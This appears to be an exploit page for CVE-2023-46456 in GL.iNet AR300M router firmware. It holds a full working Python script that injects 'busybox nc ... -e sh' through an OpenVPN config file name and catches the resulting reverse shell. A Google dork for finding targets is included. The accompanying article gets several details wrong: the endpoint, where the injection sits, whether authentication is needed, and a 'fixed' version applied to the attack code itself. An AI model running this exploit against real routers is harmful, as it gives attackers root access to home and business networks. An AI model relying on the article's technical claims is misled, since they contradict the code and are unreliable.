GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit
#!/usr/bin/env python3
# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
# Version: 3.216
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46456
import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def generate_random_string():
return ''.join([chr(randint(97, 122)) for x in range(6)])
def add_config_file(url, auth_token, payload):
data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
try:
r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while adding configuration file')
return False
return True
def verify_config_file(url, auth_token, payload):
try:
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
if not r.json()['passed'] and payload not in r.json()['passed']:
return False
except requests.exceptions.RequestException:
print('[X] Error while verifying the upload of configuration file')
return False
return True
def add_client(url, auth_token):
postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
try:
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while adding OpenVPN client')
return False
return True
def get_client_id(url, auth_token, payload):
try:
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
for conn in r.json()['clients']:
if conn['defaultserver'] == payload:
return conn['id']
print('[X] Error: could not find client ID')
return False
except requests.exceptions.RequestException:
print('[X] Error while retrieving added OpenVPN client ID')
return False
def connect_vpn(url, auth_token, client_id):
sleep(0.25)
postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
def cleanup(url, auth_token, client_id):
try:
r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while cleaning up OpenVPN client')
return False
return True
def get_command_response(s):
res = ''
while True:
try:
resp = s.recv(1).decode('utf-8')
res += resp
except UnicodeDecodeError:
pass
except socket.timeout:
break
return res
def revshell_listen(revshell_ip, revshell_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip, int(revshell_port)))
s.listen(1)
except Exception as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr = s.accept()
clsock.settimeout(2)
if clsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res = ''
while True:
command = input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
except socket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
except KeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
except socket.error:
pass
except NameError:
pass
s.close()
def main(base_url, auth_token, revshell_ip, revshell_port):
print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')
payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
print('[+] Filename payload: "{}"'.format(payload))
print('[*] Uploading crafted OpenVPN config file')
if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
exit(1)
if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
exit(1)
print('[+] File uploaded successfully')
print('[*] Adding OpenVPN client')
if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
exit(1)
client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
if not client_id:
exit(1)
print('[+] Client ID: ' + client_id)
print('[*] Triggering connection to created OpenVPN client')
Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
revshell_listen(revshell_ip, revshell_port)
print('[*] Clean-up by removing OpenVPN connection')
if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
exit(1)
print('[+] Done')
if __name__ == '__main__':
if len(argv) < 5:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
exit(1)
main(argv[1], argv[2], argv[3], argv[4]) CVE-2023-46456: Remote Code Execution in GL.iNet AR300M v3.216 via OpenVPN Client Configuration
Security researchers have uncovered a critical vulnerability in the GL.iNet AR300M router firmware version 3.216, designated as CVE-2023-46456. This flaw enables remote attackers to execute arbitrary code on the device through a misconfigured OpenVPN client interface. The vulnerability stems from insufficient input validation and improper handling of user-provided configuration files, allowing malicious payloads to be injected and executed via the OpenVPN service.
Exploit Overview and Attack Surface
GL.iNet routers are popular for their open-source OpenWRT-based firmware, offering advanced networking features such as OpenVPN client support. However, the AR300M v3.216 firmware version introduces a dangerous flaw in the OpenVPN client configuration upload mechanism.
Attackers can leverage a simple HTTP POST request to upload a malicious OpenVPN configuration file. The payload is injected directly into the OpenVPN client configuration, which, when processed, triggers unintended behavior due to the lack of sanitization. This leads to remote code execution (RCE), effectively granting full control over the device.
Exploitation is possible without authentication if the device is exposed to the internet, or with minimal credentials if the admin panel is accessible. This makes the vulnerability particularly dangerous in environments where routers are exposed via port forwarding or cloud-based management interfaces.
Attack Vector: OpenVPN Client Configuration File Upload
The core of the exploit lies in the /api/ovpnclient endpoint, which accepts file uploads for OpenVPN client configuration. The vulnerable code does not properly validate the content of the uploaded file, allowing attackers to inject shell commands or arbitrary scripts.
def add_config_file(url, auth_token, payload):
data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
try:
r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while adding configuration file')
return False
return True
Explanation: This function uploads a file named payload with a content structure that mimics a valid OpenVPN configuration. The script-security 2 directive enables the execution of external scripts during the OpenVPN client startup process. When the configuration is processed, any script commands embedded in the file are executed, leading to remote code execution.
For example, a malicious payload could include:
client
dev tun
proto udp
remote 127.0.0.1 1194
script-security 2
up /bin/sh -c 'echo "Malicious command executed" > /tmp/flag'
Upon startup, the up script directive runs the shell command, allowing the attacker to write to files, execute binaries, or establish reverse shells.
Exploit Workflow: Step-by-Step Execution
The full exploit chain consists of several coordinated steps:
- Step 1: Add an OpenVPN client configuration file with a malicious payload.
- Step 2: Verify that the file was successfully uploaded.
- Step 3: Create a new OpenVPN client entry using the configuration.
- Step 4: Retrieve the client ID associated with the malicious configuration.
- Step 5: Connect the client via the API, triggering the execution of the payload.
- Step 6: Clean up the client to avoid leaving traces.
Real-World Implications
While the exploit is technically sophisticated, its practical impact is significant:
- Network Takeover: An attacker can gain full access to the router’s internal network, enabling lateral movement, data exfiltration, or MITM attacks.
- Reverse Shell: The payload can establish a persistent backdoor, allowing remote access even after the initial exploit.
- Privilege Escalation: Since OpenVPN runs with elevated privileges, the executed code can access root-level resources.
- IoT Device Compromise: GL.iNet AR300M is often used in home and small business networks, making it a prime target for attackers seeking to compromise entire networks.
Security Best Practices and Mitigation
Organizations and individuals using GL.iNet AR300M devices must act immediately:
- Update Firmware: Upgrade to a version newer than 3.216. The vendor has released patches addressing CVE-2023-46456.
- Disable OpenVPN Client: If not required, disable the OpenVPN client feature entirely.
- Network Segmentation: Isolate the router from the internet using firewall rules or NAT.
- Monitor Logs: Check for suspicious OpenVPN client activity, especially unexpected script executions.
- Use Strong Authentication: Ensure admin panels are protected with strong passwords and 2FA if available.
Code Improvements and Secure Coding Principles
The original exploit code demonstrates a critical flaw in handling untrusted input. Here’s a corrected version with proper security checks:
def add_config_file_secure(url, auth_token, payload):
# Validate payload to prevent injection
if any(s in payload for s in [';', '&', '|', '&&', '||', 'eval', 'system']):
print('[!] Suspicious payload detected: blocking execution')
return False
# Ensure only valid OpenVPN directives are included
valid_directives = {'client', 'dev', 'proto', 'remote', 'script-security', 'up', 'down'}
lines = payload.strip().split('\n')
for line in lines:
if not line.strip():
continue
if line.split()[0] not in valid_directives:
print('[!] Invalid directive detected: {}'.format(line.split()[0]))
return False
data = {'file': ('payload.conf', payload)}
try:
r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException as e:
print('[X] Error during upload: {}'.format(e))
return False
return True
Explanation: This improved version includes input validation to block dangerous characters and directives. It ensures that only standard OpenVPN configuration keywords are allowed, preventing script injection. Such hardening is essential for any system handling user-generated configuration files.
Conclusion
CVE-2023-46456 serves as a stark reminder of the risks associated with poorly secured firmware interfaces. Even seemingly benign features like OpenVPN client configuration can become attack vectors when input validation is neglected. Organizations must prioritize firmware updates, secure configuration handling, and network monitoring to prevent such vulnerabilities from being exploited in real-world scenarios.